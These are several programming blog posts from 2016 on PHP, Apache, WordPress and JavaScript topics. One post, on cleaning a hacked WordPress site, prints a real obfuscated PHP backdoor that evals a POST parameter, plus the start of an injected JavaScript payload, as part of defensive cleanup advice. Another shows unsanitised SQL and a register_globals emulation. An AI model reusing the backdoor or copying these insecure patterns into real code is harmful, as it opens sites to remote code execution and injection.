Exceptions for flow control

18 Mar 2016 in Programming

Recently I was having a conversation with a very good friend about exceptions for flow control. I was against using exceptions and he was in favor of using them.

Generally, most people are against, as outlined in c2.com:

Exceptions (in Java and C++) are like non-local goto statements. As such they can be used to build general control flow constructs. For example, you could write a recursive search for a binary tree which used an exception to return the result:

  void search( TreeNode node, Object data ) throws ResultException {
      if (node.data.equals( data ))
          throw new ResultException( node );
      else {
          search( node.leftChild, data );
          search( node.rightChild, data );
      }
  }

or in this q/a from stack overflow:

Exceptions are basically non-local goto statements with all the consequences of the latter. Using exceptions for flow control violates a principle of least astonishment, make programs hard to read (remember that programs are written for programmers first).

Moreover, this is not what compiler vendors expect. They expect exceptions to be thrown rarely, and they usually let the throw code be quite inefficient. Throwing exceptions is one of the most expensive operations in .NET.

However, some languages (notably Python) use exceptions as flow-control constructs. For example, iterators raise a StopIteration exception if there are no further items. Even standard language constructs (such as for) rely on this.

Did I mention my friend is a pythonista? This explains a lot.

Of course some are in favor, like this article:

Apparently the fact that I use exceptions in my suggested control flow mechanism for collections makes me a bad person. This idiocy touches on a sore point for me. I have been invited to write a post on “Why exceptions for control flow are a good idea”. So. Here it is.

The thing is, I really can’t be bothered. I can give and have given useful use cases, but I’ll just be told that they’re evil because I use exceptions. So instead I will argue the converse: Why they are not a bad idea.

My position is that exceptions are exceptional and should be used to signal about exceptional situations. Like hardware exceptions. Let me give you an example with a DateRange class:

<?php
/**
 * This is a demonstration class that stores two datetime objects
 */
class DateRange
{
    /**
     * @var DateTime
     */
    private $start;

    /**
     * @var DateTime
     */
    private $end;

    /**
     * DateRange constructor.
     *
     * @param DateTime $start
     * @param DateTime $end
     */
    public function __construct(DateTime $start, DateTime $end)
    {
        $this->start = $start;
        $this->end   = $end;
    }

    /**
     * @return DateTime
     */
    public function start()
    {
        return $this->start;
    }

    /**
     * @return DateTime
     */
    public function end()
    {
        return $this->end;
    }

    /**
     * @param string $format
     *
     * @return string
     */
    public function diff($format)
    {
        return $this->end->diff($this->start)->format($format);
    }
}

Using Exceptions

We need to be sure that the $start and $end objects are in order, so we modified the constructor:

public function __construct(DateTime $start, DateTime $end)
{
    if ($start >= $end) { 
        throw new Exception("Datetime objects not in order");
    }        
    $this->start = $start;
    $this->end   = $end;
}

and we can use the class like this:

<?php
$start = new DateTime("2015-10-10");
$end = new DateTime("2015-10-12");
try {
    $range = new DateRange($start, $end);
} catch(Exception $e) {
    // handle exception...
}

Using Validation

The same can be achieved by adding this method to the class:

public static function valid(DateTime $start, DateTime $end)
{
    return $start < $end;
}

and modifying the constructor like this:

public function __construct(DateTime $start, DateTime $end)
{
    if (!self::valid($start, $end)) {
        throw new \Exception("Datetime objects not valid");
    }
    $this->start = $start;
    $this->end   = $end;
}

and now we can use the class like this (using the data guard pattern):

<?php
$start = new DateTime("2015-10-10");
$end = new DateTime("2015-10-12");
if (!DateRange::valid($start, $end)) {
    // handle situation, eg return, exit, throw an exception
}
$range = new DateRange($start, $end);

Notice that I still use the exception in the constructor, because you can't allow the creation of the object with invalid data. What I did is I updated the API in order to give the developer the option of validating the input data before creating the object.

Conclusion

I prefer to use the classical control structures for flow control and exceptions for situations where something could not execute normally (eg a network error on an API request). If some library does the opposite, ok, no big deal. But see above for yourself, which one is more elegant?

Enable client caching in Apache

17 Mar 2016 in Apache

Fetching something over the network is both slow and expensive: large responses require many roundtrips between the client and server, which delays when they are available and can be processed by the browser, and also incurs data costs for the visitor. As a result, the ability to cache and reuse previously fetched resources is a critical aspect of optimizing for performance.

via Google Developers.

For apache webserver, create a new file mods-available/expires.conf with your favorite editor:

vi mods-available/expires.conf

and put the following contents in it:

<IfModule mod_expires.c>
    ExpiresActive On
    ExpiresByType image/jpg "access plus 1 month"
    ExpiresByType image/png "access plus 1 month "
    ExpiresByType image/gif "access plus 1 month"
    ExpiresByType image/jpeg "access plus 1 month"
    ExpiresByType text/css "access plus 1 month"
    ExpiresByType image/x-icon "access plus 1 month"
    ExpiresByType application/pdf "access plus 1 month"
    ExpiresByType audio/x-wav "access plus 1 month"
    ExpiresByType audio/mpeg "access plus 1 month"
    ExpiresByType video/mpeg "access plus 1 month"
    ExpiresByType video/mp4 "access plus 1 month"
    ExpiresByType video/quicktime "access plus 1 month"
    ExpiresByType video/x-ms-wmv "access plus 1 month"
    ExpiresByType application/x-shockwave-flash "access 1 month"
    ExpiresByType text/javascript "access plus 1 month"
    ExpiresByType application/x-javascript "access plus 1 month"
    ExpiresByType application/javascript "access plus 1 month"
</IfModule>

Afterwards, enable it with:

a2enmod expires

and restart apache:

service apache2 restart

Of course you may alter the values presented above. Optionally, you can disable the ETag header with:

echo "
Header unset ETag
FileETag None
" > /etc/apache2/conf.d/unset-etag.conf

Change wordpress domain

17 Mar 2016 in Wordpress

With the following snippet, you can change the domain/url of a wordpress site (no trailing slash):

UPDATE wp_options SET option_value = 'http://my-domain' WHERE option_name IN('siteurl', 'home');

After that, you can use an extension like wordpress move in order to change the url on posts, pages, etc.

Useful when you are developing on a demo/test url.

Push notifications to iOS application via PHP

11 Mar 2016 in PHP, iOS

This is a skeleton on how to send push notifications to iOS devices from PHP with the help of ApnsPHP library:

// Get all device ids uninstalled the application
$feedback = new ApnsPHP_Feedback(
    ApnsPHP_Abstract::ENVIRONMENT_SANDBOX,
    'path/to/push-ck-sandbox.pem'
);
$feedback->setProviderCertificatePassphrase('MY-PASSPHRASE');
$feedback->connect();
$deviceTokens = $feedback->receive();
$feedback->disconnect();
foreach ($deviceTokens as $deviceId) {
    // Remove $deviceId from our database
}

// Now construct a list of active device ids
$devices = [];

// Get them from our database of other data provider
// ...

// Instantiate a new ApnsPHP_Push object
$push = new ApnsPHP_Push(
    ApnsPHP_Abstract::ENVIRONMENT_SANDBOX,
    'path/to/push-ck-sandbox.pem'
);

// Set the Provider Certificate passphrase
$push->setProviderCertificatePassphrase('MY-PASSPHRASE');

// Set the Root Certificate Autority to verify the Apple remote peer
$push->setRootCertificationAuthority(storage_path('certificates/entrust_2048_ca.cer'));

// Connect to the Apple Push Notification Service
$push->connect();

foreach ($devices as $deviceId) {
    // Instantiate a new Message with a single recipient
    $message = new ApnsPHP_Message($deviceId);

    // Set a custom identifier
    // To get back this identifier use the getCustomIdentifier() method
    // over a ApnsPHP_Message object retrieved with the getErrors() message.
    $message->setCustomIdentifier("Message-Badge-3");

    // Set badge icon to "3"
    $message->setBadge(1);

    // Set a simple welcome text
    $message->setText('simple welcome text');

    // Play the default sound
    $message->setSound();

    // Set a custom property
    $message->setCustomProperty('acme2', array('bang', 'whiz'));

    // Set another custom property
    $message->setCustomProperty('acme3', array('bing', 'bong'));

    // Set the expiry value to 30 seconds
    $message->setExpiry(30);

    // Add the message to the message queue
    $push->add($message);
}

// Send all messages in the message queue
$push->send();

// Disconnect from the Apple Push Notification Service
$push->disconnect();

// Examine the error message container
$errors = $push->getErrors();

Also, at the library's github page, there are instructions on how to generate the push certificate and a demo iOS application.

PHP curl with socks5 proxy via ssh

29 Feb 2016 in PHP, Curl

Initialize a local "dynamic" application-level port forwarding via ssh:

ssh user@host -D 10001 -v # with debug

And then create the curl session with:

// initialize curl
$ch = curl_init();

// ...more options...

// set proxy options
curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
curl_setopt($ch, CURLOPT_PROXY, 'socks5://localhost:10001');

Prevent multiple form submissions

25 Feb 2016 in Javascript, Web

Recently, a client reported a problem with a visitor seeing a server error page after submitting a form. The weird thing was that the processing was successful. After looking around, I found this in apache's access log (some fields removed):

"POST /some/path HTTP/1.1" 302 "https://..." "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
"POST /some/path HTTP/1.1" 500 "https://..." "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"

This is two POST requests 4 seconds apart from the same IP and browser. The first responds with redirect and the second with server error which is the page the visitor saw. When trying to reproduce this behaviour with chromium and firefox, it turned out that the former submits a form multiple times if you are quick enough or the server takes a little bit to respond.

A quick solution to this problem is by applying this simple javascript snippet on the form markup:

<form onsubmit="submit.disabled=true; return true;" ... >
    ...
    <button type="submit" name="submit">
        Submit
    </button>
</form>

Don't forget to set the name attribute on button element.

Cleaning a hacked Wordpess site

22 Feb 2016 in PHP, Web, Wordpress

If you are reading this, you may be in this situation:

So you've carefully installed WordPress, you've made it look exactly how you like with a decent theme, you've maybe installed some fancy plugins and you've crafted some fine posts and Pages. In short, you've put a lot of time and effort into your site.

Then, one day, you load up your site in your browser, and find that it's not there, or it redirects to a porn site, or your site is full of adverts for performance-enhancing drugs. It leaves you wondering, Why would anyone hack my website? What are you supposed to do now?

The entire experience of being compromised can feel devastating, making you wonder why you ever decided to create an online presence. Rest assured though it is not the end of the world, and there a number of practical steps you can take to address the problem once it's happened, and / or prevent it from ever happening again.

You can read the FAQ My site was hacked from wordpress.org in order to deal with the hack. Other than that, I will share some tips you may use in order to clean your files.

  • Deactivate the site or make it accessible only from your IP by adding on top of .htaccess the following directives:

    order deny,allow
    deny from all
    allow from W.X.Y.Z # this is your IP address
    

    This is a required step in order to block bots infecting more files.

  • Create a backup (files and database) or make sure that a current, working, backup exists. Useful if anything goes wrong.

  • Use maldet and findbot.pl via

    maldet -a /path/to/site
    /path/to/findbot.pl /path/to/site
    
  • Manually examine the files ordered by modification date, look for strange patterns and act accordingly:

    find /path/to/site -type f -printf '%T+\t%p\n' | sort -nr | less
    
  • Look for strange patterns on top of php files:

    for i in $(find /path/to/site -type f -name '*.php'); do echo "$i "; head -1 $i; echo ""; done | less -S
    

    When the files are something like this (real example):

    <?php    $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q828e00'])){eval(${$s20}['q828e00']);}?><?php
    

    you can clean with the following sed command:

    sed 's/<?php.*/<?php/'
    

    or enmasse:

    # WARNING: it may break non-infected files as well
    for i in $(find /path/to/site -type f -name '*.php'); do sed -i.bckp 's/<?php.*/<?php/' "$i" ; done
    
  • On bottom of php files:

    for i in $(find /path/to/site -type f -name '*.php'); do echo "$i "; tail -1 $i; echo ""; done | less -S 
    
  • On bottom of javascript files:

    for i in $(find /path/to/site -type f -name '*.js'); do echo "$i "; tail -1 $i; echo ""; done | less -S
    

    if these files have infected with a pattern like this (real example):

    /*a3d5ba6096d839a2936a817de24fbf2d*/;(function(){var ttntdaye="";var ikkykrzk="...
    

    you can apply the following command:

    for i in $(find /path/to/site -type f -name '*.js'); do sed -i.bckp 's/\/\*\([a-zA-Z0-9]\{32\}\)\*\/.*//' "$i" ; done
    

    in order to remove the infection.

  • Look for php files in wp-content/uploads/ directory and remove them:

    find /path/to/site/wp-content/uploads/ -name *.php
    
  • Change database credentials, administrator(s) passwords and generate new keys from the Wordpress key generator.

  • If you are unsure about the cleaning procedure, one way to prevent bots from infecting more files is to change file ownership, like:

    chown -R root:root /path/to/site
    chmod -R u+rw,go+r,go-w,+X /path/to/site
    
  • When done, revert the change made to .htaccess and hope for the best. This is why backups (both files and database), version control and updates are of utmost importance.

Atomic deploys at Etsy

16 Feb 2016 in PHP, Web

Rasmus Lerdorf explains the logic behind atomic deploys at Etsy:

A key part of Continuous Integration is being able to deploy quickly, safely and with minimal impact to production traffic. Sites use various deploy automation tools like Capistrano, Fabric and a large number of homegrown rsync-based ones. At Etsy we use a tool we built and open-sourced called Deployinator.

A fractal of BAD developers Pt.2

16 Feb 2016 in PHP

After populating the database with data and putting the files in place, we found out that the developers have developed the site with register_globals on, so instead of something like:

$id = $_GET["id"];

every variable was defined in place and used immediatelly:

$result1=mysql_query("select * from TABLE where id='$id'");

Yes, really! This $id may be from SESSION, from a COOKIE, from POST, from GET, from Mars, you name it!

And because support for register_globals have long gone, the consequense was that we couldn't see any other page properly. At least on pages with query parameters in URL. And with hundreds of files it was a hell lot of a job to correct it.

After digging around, we finally apply this snippet of code from http://php.net/manual/en/faq.misc.php#faq.misc.registerglobals:

<?php
// Emulate register_globals on
if (!ini_get('register_globals')) {
    $superglobals = array($_SERVER, $_ENV,
        $_FILES, $_COOKIE, $_POST, $_GET);
    if (isset($_SESSION)) {
        array_unshift($superglobals, $_SESSION);
    }
    foreach ($superglobals as $superglobal) {
        extract($superglobal, EXTR_SKIP);
    }
}

by using the auto_prepend_file directive like this:

php_admin_value[auto_prepend_file] = "/path/to/register-globals.php"

To be continued...